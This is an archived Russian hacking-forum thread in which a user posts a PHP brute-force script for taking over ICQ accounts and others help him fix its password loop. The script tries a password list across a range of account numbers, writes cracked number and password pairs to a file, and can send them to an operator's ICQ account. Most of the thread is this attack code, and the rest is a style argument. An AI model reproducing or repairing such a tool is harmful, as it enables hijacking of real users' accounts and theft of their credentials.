PDA

Просмотр полной версии : Помогите с брутом на php!


Hormold
18.07.2007, 23:19
Вот пишу брут на php...
Получается так: он берёт последний пароль из списка и проверяет его! Остальное он не трогает! Как избавиться от этого?
Вот код:
<?
$good="good.txt";
$bad="bad.txt";
if (@socket_create()) {
echo "<center><b>Ошибка: хостинг не поддерживает сокеты :(</b></center>";
exit();
}
error_reporting(0);
set_time_limit(0);
ignore_user_abort(1);
if(!empty($_GET["pass"]) && $_GET["uin_start"] && $_GET["uin_end"])
{
$plist = explode("\n", $_GET["pass"]);
$icq = new WebIcqLite();
if (empty($uin))
{
$uin = $_GET["uin_start"];
}
elseif ($_GET["uin_end"] == $uin && $_GET["uin_rand"] == 0)
{
exit();
}
else
{
$uin++;
}
for ($i = 0; $i <= count($plist)-1; $i++)
{
$new_pass = trim($plist[$i]);
}

if($icq->connect($uin, $new_pass))
{
$file = fopen($good, "a+");
fwrite($file, $uin.";".$new_pass."\n");
fclose($file);
if ($_GET["send"] == "icq")
{
$icq->send_message($_GET["admin"], "Сбручен номер:\n".$uin.";".$current_pass);
}

}
else
{
$badfile = fopen($bad, "a");
fwrite($badfile, $uin.";".$new_pass."\n");
fclose($badfile);
}
}else{
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>MINI BRUTE BY HoRmOlD</title>

</head>

<body>
<center>
<table width="703" height="272" border="0">
<tr>
<td height="56"><center>
<font color="#FF0000"><strong>MINI BRUTE BY HoRmOlD </strong></font>
</center>
</td>
</tr>
<tr>
<td><center>
<p>&nbsp;</p>
<form method="get">
<p>С какого номера начать:
<input type="text" name="uin_start" />
</p>
<p>Каким закончить:
<input type="text" name="uin_end" />
</p>
<p>Пароли(Не больше трёх):</p>
<p>
<textarea name="pass" cols="30" rows="5"></textarea>
</p>
<p>Если сбручен номер то:
<select name="send" size="1" >
<option value="icq" selected>На ICQ
<option value="0">Просто записать в good.txt
</select><BR>
Номер icq админа:
<input type="text" name="admin" />
<INPUT TYPE="hidden" name="start" value="1">
</p>
<p>
<input name="Submit" type="submit" value="Брутить" />
</p>
</form>
<p>(C) HoRmOlD</p>
<p>&nbsp; </p>
</center>


</td>
</tr>
</table></center>
</body>
</html>

<?
///END BRUTE CODE
}
//Тут идёт WebIcqLite, нестал помещать из за размера!!!
?>

GoreMaster
18.07.2007, 23:23
Засунь в цикл проверку
if($icq->connect($uin, $new_pass))....
for ($i = 0; $i <= count($plist)-1; $i++)
{
$new_pass = trim($plist[$i]);
}
В этот цикл

<?php
for ($i = 0; $i <= count($plist)-1; $i++){
if($icq->connect($uin, $new_pass)){
$file = fopen($good, "a+");
fwrite($file, $uin.";".$new_pass."\n");
fclose($file);
if ($_GET["send"] == "icq"){
$icq->send_message($_GET["admin"], "Сбручен номер:\n".$uin.";".$current_pass);
}
}
else{
$badfile = fopen($bad, "a");
fwrite($badfile, $uin.";".$new_pass."\n");
fclose($badfile);
}
}
?>
Вроде так
З.Ы.:учись правильно оформлять код(код,написанный в один столбик без отступов нечитаем)

Hormold
18.07.2007, 23:32
А всё спасибо :)
А то сначало не понял :))

Hormold
18.07.2007, 23:33
Про это(З.Ы.:учись правильно оформлять код(код,написанный в один столбик без отступов нечитаем))
я искал ошибки и всё разложил так чтобы было удобно!

GoreMaster
18.07.2007, 23:37
я искал ошибки и всё разложил так чтобы было удобно!
Поставь Zend Studio там есть функция Ident Code, которая делает твой код читабельным и удаляет лишник отступы.
З.Ы.:не знаб есть ли в других редакторах такая фукнция

Isis
19.07.2007, 00:42
Я считаю красивый код такой:
<?php
error_reporting(0);
set_time_limit(0);
ignore_user_abort(1);

$good = 'good.txt';
$bad = 'bad.txt';

if (@socket_create())
exit('<center><b>Ошибка: хостинг не поддерживает сокеты :(</b></center>');

if(!empty($_GET['pass']) && $_GET['uin_start'] && $_GET['uin_end'])
{
$plist = explode("\n", $_GET['pass']);
$icq = new WebIcqLite();
if(empty($uin))
{
$uin = $_GET['uin_start'];
}
elseif($_GET['uin_end'] == $uin && $_GET['uin_rand'] == 0) exit();
else $uin++;

for($i = 0; $i <= count($plist)-1; $i++)
{
$new_pass = trim($plist[$i]);
}

if($icq->connect($uin, $new_pass))
{
$file = fopen($good, 'a+');
fwrite($file, $uin.";".$new_pass."\n");
fclose($file);
if ($_GET['send'] == 'icq')
$icq->send_message($_GET['admin'], "Сбручен номер:\n".$uin.";".$current_pass);
}
else
{
$badfile = fopen($bad, 'a');
fwrite($badfile, $uin.";".$new_pass."\n");
fclose($badfile);
}

}
else
{
?>
html
<?php
}
?>

GoreMaster
19.07.2007, 01:08
Я считаю красивый код такой:
У каждого свое представление о красоте,но когда речь идет о программном коде,то здесь главное читаемость,а не красота. :)
Вроде существуют каноны,по котоым следует оформлять код
P.S.: не оффтопь

Isis
19.07.2007, 01:15
GoreMaster, красивый код это и есть "читаемость"...
Разве нет?

GoreMaster
19.07.2007, 01:28
Разве нет?
Нет,так как понятие красоты понятие субъективное,мне вот не нравится твое оформление кода,но он читаем.
Меня напрягают отступы вначале и пробелы ИМХО лишние между условиями.

Isis
19.07.2007, 02:12
Мда..вы смешной =\
Прочитайте про стили оформления..
Отступ слева должен быть всегда - это дефолт!

Helios
19.07.2007, 12:42
Отступ слева должен быть всегда - это дефолт!

Отступа слева быть не должно. Посмотри в исходники Zend Framework, который уж точно соответствует стандартам - там нет ни одного отступа на "корневом" уровне.